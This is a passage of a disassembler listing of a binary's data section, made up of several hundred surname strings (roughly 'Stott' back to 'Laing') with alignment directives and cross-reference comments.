'Stott',0 ; DATA XREF: ___:0042E980o align 10h aStorer db 'Storer',0 ; DATA XREF: ___:0042E97Co align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E978o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E974o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E970o align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E96Co align 4 aStock db 'Stock',0 ; DATA XREF: ___:0042E968o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E964o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E960o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E95Co align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E958o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E954o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E950o aStefani db 'Stefani',0 ; DATA XREF: ___:0042E94Co aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E948o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E944o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E940o align 10h aStang db 'Stang',0 ; DATA XREF: ___:0042E93Co align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E938o align 10h aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E934o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E930o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E92Co aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E928o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E924o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E920o align 10h aSperber db 'Sperber',0 ; DATA XREF: ___:0042E91Co aSpence db 'Spence',0 ; DATA XREF: ___:0042E918o align 10h aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E914o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E910o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E90Co aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E908o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E904o align 10h aSoule db 'Soule',0 ; DATA XREF: ___:0042E900o align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E8FCo align 10h aSottak db 'Sottak',0 ; DATA XREF: ___:0042E8F8o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E8F4o align 10h aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E8F0o align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E8ECo align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E8E8o align 10h aSolon db 'Solon',0 ; DATA XREF: ___:0042E8E4o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E8E0o aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E8DCo align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E8D8o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E8D4o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E8D0o align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0042E8CCo align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E8C8o align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E8C4o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E8C0o align 4 aSites db 'Sites',0 ; DATA XREF: ___:0042E8BCo align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E8B8o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E8B4o align 10h aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E8B0o align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E8ACo align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E8A8o align 10h aSigini db 'Sigini',0 ; DATA XREF: ___:0042E8A4o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E8A0o aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E89Co align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E898o align 10h aShibata db 'Shibata',0 ; DATA XREF: ___:0042E894o aShia db 'Shia',0 ; DATA XREF: ___:0042E890o align 10h aShesko db 'Shesko',0 ; DATA XREF: ___:0042E88Co align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E888o align 4 aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E884o align 10h aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E880o align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E87Co align 4 aShea db 'Shea',0 ; DATA XREF: ___:0042E878o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E874o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E870o aShar db 'Shar',0 ; DATA XREF: ___:0042E86Co align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E868o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E864o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E860o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E85Co align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E858o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E854o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E850o align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E84Co aSen db 'Sen',0 ; DATA XREF: ___:0042E848o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E844o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E840o align 4 aSegal db 'Segal',0 ; DATA XREF: ___:0042E83Co align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E838o align 4 aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E834o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E830o aScovel db 'Scovel',0 ; DATA XREF: ___:0042E82Co align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E828o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E824o align 10h aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E820o align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E81Co aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E818o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E814o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E810o aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E80Co align 10h aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E808o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E804o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E800o align 10h aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E7FCo aScharf db 'Scharf',0 ; DATA XREF: ___:0042E7F8o align 4 aScepan db 'Scepan',0 ; DATA XREF: ___:0042E7F4o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E7F0o align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E7ECo align 10h aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E7E8o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E7E4o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E7E0o align 10h aSatin db 'Satin',0 ; DATA XREF: ___:0042E7DCo align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E7D8o align 10h aSartore db 'Sartore',0 ; DATA XREF: ___:0042E7D4o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E7D0o align 10h aSapers db 'Sapers',0 ; DATA XREF: ___:0042E7CCo align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E7C8o align 10h aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E7C4o aSamson db 'Samson',0 ; DATA XREF: ___:0042E7C0o align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E7BCo align 10h aSahu db 'Sahu',0 ; DATA XREF: ___:0042E7B8o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E7B4o align 10h aSadler db 'Sadler',0 ; DATA XREF: ___:0042E7B0o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E7ACo align 4 aRyu db 'Ryu',0 ; DATA XREF: ___:0042E7A8o aRush db 'Rush',0 ; DATA XREF: ___:0042E7A4o align 10h aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E7A0o align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E79Co align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E798o align 10h aRu db 'Ru',0 ; DATA XREF: ___:0042E794o align 4 aRoyal db 'Royal',0 ; DATA XREF: ___:0042E790o align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E78Co aRonen db 'Ronen',0 ; DATA XREF: ___:0042E788o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E784o align 10h aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E780o aRocha db 'Rocha',0 ; DATA XREF: ___:0042E77Co align 10h aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E778o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E774o align 4 aRish db 'Rish',0 ; DATA XREF: ___:0042E770o align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E76Co align 4 aRindos db 'Rindos',0 ; DATA XREF: ___:0042E768o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E764o align 4 aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E760o align 10h aRhea db 'Rhea',0 ; DATA XREF: ___:0042E75Co align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E758o align 10h aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E754o aRenick db 'Renick',0 ; DATA XREF: ___:0042E750o align 10h aRemak db 'Remak',0 ; DATA XREF: ___:0042E74Co align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E748o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E744o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E740o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E73Co align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E738o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E734o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E730o align 10h aRangan db 'Rangan',0 ; DATA XREF: ___:0042E72Co align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E728o align 10h aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E724o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E720o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E71Co align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E718o align 4 aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E714o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E710o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E70Co aPugh db 'Pugh',0 ; DATA XREF: ___:0042E708o align 4 aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E704o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E700o align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E6FCo align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E6F8o align 10h aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E6F4o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E6F0o aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E6ECo aPresper db 'Presper',0 ; DATA XREF: ___:0042E6E8o aPowers db 'Powers',0 ; DATA XREF: ___:0042E6E4o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E6E0o aPoma db 'Poma',0 ; DATA XREF: ___:0042E6DCo align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E6D8o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E6D4o aPolak db 'Polak',0 ; DATA XREF: ___:0042E6D0o align 4 aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E6CCo aPointer db 'Pointer',0 ; DATA XREF: ___:0042E6C8o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E6C4o align 10h aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E6C0o align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E6BCo align 10h aPlous db 'Plous',0 ; DATA XREF: ___:0042E6B8o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E6B4o aPlant db 'Plant',0 ; DATA XREF: ___:0042E6B0o align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E6ACo aPinot db 'Pinot',0 ; DATA XREF: ___:0042E6A8o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E6A4o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E6A0o aPettit db 'Pettit',0 ; DATA XREF: ___:0042E69Co align 10h aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E698o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E694o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E690o align 10h aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E68Co align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E688o align 4 aPerna db 'Perna',0 ; DATA XREF: ___:0042E684o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E680o aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E67Co align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E678o align 4 aPereira db 'Pereira',0 ; DATA XREF: ___:0042E674o aPenny db 'Penny',0 ; DATA XREF: ___:0042E670o align 4 aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E66Co aPederson db 'Pederson',0 ; DATA XREF: ___:0042E668o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E664o align 4 aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E660o aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E65Co aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E658o align 10h aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E654o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E650o aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E64Co align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E648o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E644o align 10h aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E640o align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E63Co align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E638o align 10h aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E634o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E630o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E62Co align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E628o align 10h aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E624o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E620o align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E61Co aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E618o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E614o align 4 aPaine db 'Paine',0 ; DATA XREF: ___:0042E610o align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E60Co align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E608o align 4 aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E604o aOtten db 'Otten',0 ; DATA XREF: ___:0042E600o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E5FCo align 10h aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E5F8o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E5F4o align 4 aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E5F0o align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E5ECo aOray db 'Oray',0 ; DATA XREF: ___:0042E5E8o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E5E4o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E5E0o aOman db 'Oman',0 ; DATA XREF: ___:0042E5DCo align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E5D8o align 10h aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E5D4o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E5D0o align 4 aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E5CCo align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E5C8o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E5C4o aOh db 'Oh',0 ; DATA XREF: ___:0042E5C0o align 10h aOgata db 'Ogata',0 ; DATA XREF: ___:0042E5BCo align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E5B8o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E5B4o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E5B0o align 10h aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E5ACo align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E5A8o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E5A4o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E5A0o align 10h aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E59Co align 4 aNg db 'Ng',0 ; DATA XREF: ___:0042E598o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E594o align 10h aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E590o aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E58Co align 10h aNesci db 'Nesci',0 ; DATA XREF: ___:0042E588o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E584o align 10h aNelson db 'Nelson',0 ; DATA XREF: ___:0042E580o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E57Co aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E578o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E574o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E570o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E56Co align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E568o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E564o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E560o aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E55Co align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E558o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E554o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E550o align 10h aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E54Co aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E548o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E544o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E540o align 4 aMosher db 'Mosher',0 ; DATA XREF: ___:0042E53Co align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E538o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E534o align 10h aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E530o align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E52Co aMorani db 'Morani',0 ; DATA XREF: ___:0042E528o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E524o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E520o align 4 aMonque db 'Monque',0 ; DATA XREF: ___:0042E51Co align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E518o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E514o align 10h aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E510o aModestino db 'Modestino',0 ; DATA XREF: ___:0042E50Co align 4 aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E508o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E504o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E500o aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E4FCo align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E4F8o aMini db 'Mini',0 ; DATA XREF: ___:0042E4F4o align 10h aMinh db 'Minh',0 ; DATA XREF: ___:0042E4F0o align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E4ECo align 10h aMieher db 'Mieher',0 ; DATA XREF: ___:0042E4E8o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E4E4o align 10h aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E4E0o align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E4DCo align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E4D8o align 10h aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E4D4o aMerz db 'Merz',0 ; DATA XREF: ___:0042E4D0o align 10h aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E4CCo aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E4C8o align 4 aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E4C4o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E4C0o align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E4BCo aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E4B8o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E4B4o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E4B0o aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E4ACo aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E4A8o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E4A4o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E4A0o aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E49Co align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E498o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E494o align 10h aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E490o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E48Co align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E488o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E484o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E480o align 4 aMccall db 'Mccall',0 ; DATA XREF: ___:0042E47Co align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E478o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E474o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E470o align 4 aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E46Co aMay db 'May',0 ; DATA XREF: ___:0042E468o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E464o align 10h aMattson db 'Mattson',0 ; DATA XREF: ___:0042E460o aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E45Co align 4 aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E458o align 10h aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E454o aMass db 'Mass',0 ; DATA XREF: ___:0042E450o align 10h aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E44Co align 4 aMarton db 'Marton',0 ; DATA XREF: ___:0042E448o align 4 aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E444o align 10h aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E440o align 4 aMarques db 'Marques',0 ; DATA XREF: ___:0042E43Co aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E438o align 10h aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E434o align 4 aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E430o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E42Co align 10h aMarch db 'March',0 ; DATA XREF: ___:0042E428o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E424o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E420o aMandel db 'Mandel',0 ; DATA XREF: ___:0042E41Co align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E418o aMalova db 'Malova',0 ; DATA XREF: ___:0042E414o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E410o align 10h aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E40Co align 4 aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E408o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E404o align 4 aMaier db 'Maier',0 ; DATA XREF: ___:0042E400o align 4 aMahony db 'Mahony',0 ; DATA XREF: ___:0042E3FCo align 4 aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E3F8o align 4 aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E3F4o aMacy db 'Macy',0 ; DATA XREF: ___:0042E3F0o align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E3ECo align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E3E8o align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E3E4o align 10h aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E3E0o align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E3DCo align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E3D8o align 4 aMa db 'Ma',0 ; DATA XREF: ___:0042E3D4o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E3D0o aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E3CCo align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E3C8o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E3C4o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E3C0o aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E3BCo align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E3B8o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E3B4o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E3B0o align 4 aLubin db 'Lubin',0 ; DATA XREF: ___:0042E3ACo align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042E3A8o align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E3A4o align 10h aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E3A0o aLoss db 'Loss',0 ; DATA XREF: ___:0042E39Co align 10h aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E398o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E394o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E390o aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E38Co aLivi db 'Livi',0 ; DATA XREF: ___:0042E388o align 10h aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E384o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E380o align 4 aLittle db 'Little',0 ; DATA XREF: ___:0042E37Co align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E378o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E374o align 4 aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E370o align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E36Co aLine db 'Line',0 ; DATA XREF: ___:0042E368o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042E364o align 4 aLinda db 'Linda',0 ; DATA XREF: ___:0042E360o align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042E35Co aLim db 'Lim',0 ; DATA XREF: ___:0042E358o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E354o align 4 aLight db 'Light',0 ; DATA XREF: ___:0042E350o align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042E34Co align 4 aLidano db 'Lidano',0 ; DATA XREF: ___:0042E348o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E344o align 4 aLessi db 'Lessi',0 ; DATA XREF: ___:0042E340o align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042E33Co align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E338o align 10h aLenard db 'Lenard',0 ; DATA XREF: ___:0042E334o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042E330o align 10h aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E32Co align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042E328o align 4 aLecar db 'Lecar',0 ; DATA XREF: ___:0042E324o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042E320o aLashley db 'Lashley',0 ; DATA XREF: ___:0042E31Co aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E318o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E314o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E310o align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042E30Co align 10h aLandes db 'Landes',0 ; DATA XREF: ___:0042E308o ; ___:004329A4o align 4 dword_430058 dd 6C6C614Ch ; DATA XREF: ___:0042E304o aEmant db 'emant',0 ; DATA XREF: ___:off_432840o align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0042E300o align 